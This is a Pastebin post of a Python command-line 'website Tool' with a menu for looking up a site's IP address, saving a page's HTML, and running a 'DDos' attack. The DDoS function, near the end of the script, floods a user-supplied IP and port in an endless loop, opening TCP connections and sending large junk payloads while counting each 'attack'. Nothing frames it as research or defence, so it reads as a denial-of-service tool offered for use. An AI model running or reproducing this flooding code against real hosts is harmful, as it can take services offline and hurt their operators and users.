Advertisement
6g7r

website Tool

Dec 14th, 2021
628
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.64 KB | None | 0 0
  1. import requests,colorama,os
  2. import socket
  3. from  scapy.all import  *
  4. clear = lambda: os.system('cls')
  5. clear()
  6. try:
  7.     text = requests.get(f'http://artii.herokuapp.com/make?text=6G7R Here').text
  8.     print(colorama.Fore.RED, text)
  9. except:
  10.     print("""
  11.    By 6G7R
  12.    
  13.    """)
  14. print(f"""
  15. {colorama.Fore.RED}1 - extract ip site
  16. 2 - {colorama.Fore.YELLOW}html site
  17. 3 - DDos
  18. """)
  19. def ip():
  20.     text = requests.get(f'http://artii.herokuapp.com/make?text=extract ip sitee').text
  21.     print(colorama.Fore.GREEN, text)
  22.     wepp =input(f"[{colorama.Fore.GREEN}+{colorama.Fore.RESET}] {colorama.Fore.CYAN} site : ")
  23.     try:
  24.         ip = socket.gethostbyname(wepp)
  25.         print(f'[{colorama.Fore.GREEN}+{colorama.Fore.RESET}] ip {wepp} is :{ip}')
  26.         input('Enter For Exit')
  27.  
  28.     except:
  29.         print(f'[{colorama.Fore.RED}+{colorama.Fore.RESET}] Error Try again')
  30.         input('Enter For Exit')
  31. def html():
  32.     text = requests.get(f'http://artii.herokuapp.com/make?text=html site').text
  33.     print(colorama.Fore.GREEN, text)
  34.     url = input(f'{colorama.Fore.RESET} [{colorama.Fore.GREEN}+{colorama.Fore.RESET}] Webpage : ')
  35.     html = input(f'{colorama.Fore.RESET}[{colorama.Fore.GREEN}+{colorama.Fore.RESET}] Name  file: ')
  36.     try:
  37.         req = requests.get(url, 'html.parser')
  38.  
  39.         with open(html, 'w') as f:
  40.             f.write(req.text)
  41.             f.close()
  42.         input(' Done !   << >> Enter For Exit')
  43.     except:
  44.         print(f'[{colorama.Fore.RED}+{colorama.Fore.RESET}] Error Try again')
  45.         input('Enter For Exit')
  46.  
  47. def DDos():
  48.     d = 1
  49.     e = 1
  50.     ipp = input(f'{colorama.Fore.RED}ip :')
  51.     PORT = int(input(f'{colorama.Fore.CYAN}port : '))
  52.     while 1:
  53.         try:
  54.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  55.             socket.setdefaulttimeout(1)
  56.             sock.connect((ipp, PORT))
  57.             dataa = b'ehyrteuyiesuyhptuyh' * 1000
  58.             send = (scapy.all.IP(dst=ipp) / scapy.all.TCP(dport=80))
  59.             sock.send(dataa)
  60.  
  61.             print(f'{colorama.Fore.RESET} [{colorama.Fore.GREEN}+{colorama.Fore.RESET}] Done attacked for ip >> {d}')
  62.  
  63.             d += 1
  64.         except:
  65.             print(f'{colorama.Fore.RESET}[{colorama.Fore.RED}+{colorama.Fore.RESET}] Error attacked for ip >> {e}')
  66.             e +=1
  67.  
  68. try:
  69.     hm = input(f'{colorama.Fore.RESET}[{colorama.Fore.RED}+{colorama.Fore.RESET}] >>> : ')
  70. except:
  71.     print(f'{colorama.Fore.RESET}[{colorama.Fore.RED}+{colorama.Fore.RESET}] Error Try again')
  72.     input('Enter For Exit')
  73.  
  74. if('1')in hm:
  75.     clear()
  76.     ip()
  77. elif '2' in hm:
  78.     clear()
  79.     html()
  80.  
  81. elif '3' in hm:
  82.     clear()
  83.     DDos()
  84.  
  85.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement